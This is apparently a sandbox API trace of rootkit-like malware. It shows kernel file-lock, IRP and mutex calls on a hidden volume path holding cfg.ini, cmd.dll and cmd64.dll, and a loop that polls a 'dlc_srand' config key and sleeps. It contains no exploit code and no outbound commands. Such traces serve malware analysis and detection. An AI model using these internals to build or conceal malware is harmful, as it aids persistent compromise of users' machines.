[0129.465] IdePortDispatch () returned 0x103 [0129.465] KeWaitForMutexObject () returned 0x0 [0129.466] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.466] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.466] IdePortDispatch () returned 0x103 [0129.466] KeWaitForMutexObject () returned 0x0 [0129.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.466] KeLeaveCriticalRegion () [0129.466] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.466] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.466] KeEnterCriticalRegion () [0129.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.466] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.466] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] KeLeaveCriticalRegion () [0129.467] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.467] KeEnterCriticalRegion () [0129.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.467] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] KeLeaveCriticalRegion () [0129.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.467] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.467] KeEnterCriticalRegion () [0129.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] ExFreePoolWithTag (P=0xfffffa8003c04d60, Tag=0x0) [0129.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] KeLeaveCriticalRegion () [0129.467] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.467] ReleaseMutex (hMutex=0xf0) returned 1 [0129.467] Sleep (dwMilliseconds=0x124f80) [0129.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.483] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.483] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.483] KeEnterCriticalRegion () [0129.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.483] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.483] IdePortDispatch () returned 0x103 [0129.483] KeWaitForMutexObject () returned 0x0 [0129.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.483] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.483] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.483] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.483] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.483] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.483] KeLeaveCriticalRegion () [0129.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.484] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.484] KeEnterCriticalRegion () [0129.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.484] KeLeaveCriticalRegion () [0129.484] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.484] KeEnterCriticalRegion () [0129.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.484] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.484] IdePortDispatch () returned 0x103 [0129.484] KeWaitForMutexObject () returned 0x0 [0129.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.484] KeLeaveCriticalRegion () [0129.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.484] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.484] KeEnterCriticalRegion () [0129.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfd000 [0129.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.484] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.484] IdePortDispatch () returned 0x103 [0129.484] KeWaitForMutexObject () returned 0x0 [0129.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.485] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.485] IdePortDispatch () returned 0x103 [0129.485] KeWaitForMutexObject () returned 0x0 [0129.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.485] KeLeaveCriticalRegion () [0129.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.485] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.485] KeEnterCriticalRegion () [0129.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] KeLeaveCriticalRegion () [0129.486] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.486] KeEnterCriticalRegion () [0129.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.486] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] KeLeaveCriticalRegion () [0129.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.486] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.486] KeEnterCriticalRegion () [0129.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] KeLeaveCriticalRegion () [0129.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.486] ReleaseMutex (hMutex=0xf0) returned 1 [0129.486] Sleep (dwMilliseconds=0x124f80) [0129.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.501] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.501] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.501] KeEnterCriticalRegion () [0129.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.501] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.501] IdePortDispatch () returned 0x103 [0129.501] KeWaitForMutexObject () returned 0x0 [0129.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d60 [0129.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.502] KeLeaveCriticalRegion () [0129.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.502] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.502] KeEnterCriticalRegion () [0129.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.502] KeLeaveCriticalRegion () [0129.502] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.502] KeEnterCriticalRegion () [0129.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.502] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.502] IdePortDispatch () returned 0x103 [0129.502] KeWaitForMutexObject () returned 0x0 [0129.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.502] KeLeaveCriticalRegion () [0129.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.503] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.503] KeEnterCriticalRegion () [0129.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c02000 [0129.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.503] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.503] IdePortDispatch () returned 0x103 [0129.503] KeWaitForMutexObject () returned 0x0 [0129.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.503] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.503] IdePortDispatch () returned 0x103 [0129.503] KeWaitForMutexObject () returned 0x0 [0129.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.503] KeLeaveCriticalRegion () [0129.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.504] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.504] KeEnterCriticalRegion () [0129.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] KeLeaveCriticalRegion () [0129.504] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.504] KeEnterCriticalRegion () [0129.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] KeLeaveCriticalRegion () [0129.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.504] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.504] KeEnterCriticalRegion () [0129.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] ExFreePoolWithTag (P=0xfffffa8003c04d60, Tag=0x0) [0129.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.504] KeLeaveCriticalRegion () [0129.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.504] ReleaseMutex (hMutex=0xf0) returned 1 [0129.504] Sleep (dwMilliseconds=0x124f80) [0129.520] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.520] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.520] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.520] KeEnterCriticalRegion () [0129.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.520] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.520] IdePortDispatch () returned 0x103 [0129.520] KeWaitForMutexObject () returned 0x0 [0129.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.521] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.521] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.521] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.521] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.521] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] KeLeaveCriticalRegion () [0129.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.521] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.521] KeEnterCriticalRegion () [0129.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] KeLeaveCriticalRegion () [0129.521] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.521] KeEnterCriticalRegion () [0129.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.521] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.521] IdePortDispatch () returned 0x103 [0129.521] KeWaitForMutexObject () returned 0x0 [0129.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] KeLeaveCriticalRegion () [0129.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.521] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.521] KeEnterCriticalRegion () [0129.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c07000 [0129.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.522] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.522] IdePortDispatch () returned 0x103 [0129.522] KeWaitForMutexObject () returned 0x0 [0129.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.522] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.522] IdePortDispatch () returned 0x103 [0129.522] KeWaitForMutexObject () returned 0x0 [0129.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.522] KeLeaveCriticalRegion () [0129.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.523] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.523] KeEnterCriticalRegion () [0129.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.523] KeLeaveCriticalRegion () [0129.523] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.523] KeEnterCriticalRegion () [0129.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.523] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.523] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.523] KeLeaveCriticalRegion () [0129.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.523] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.523] KeEnterCriticalRegion () [0129.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.523] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 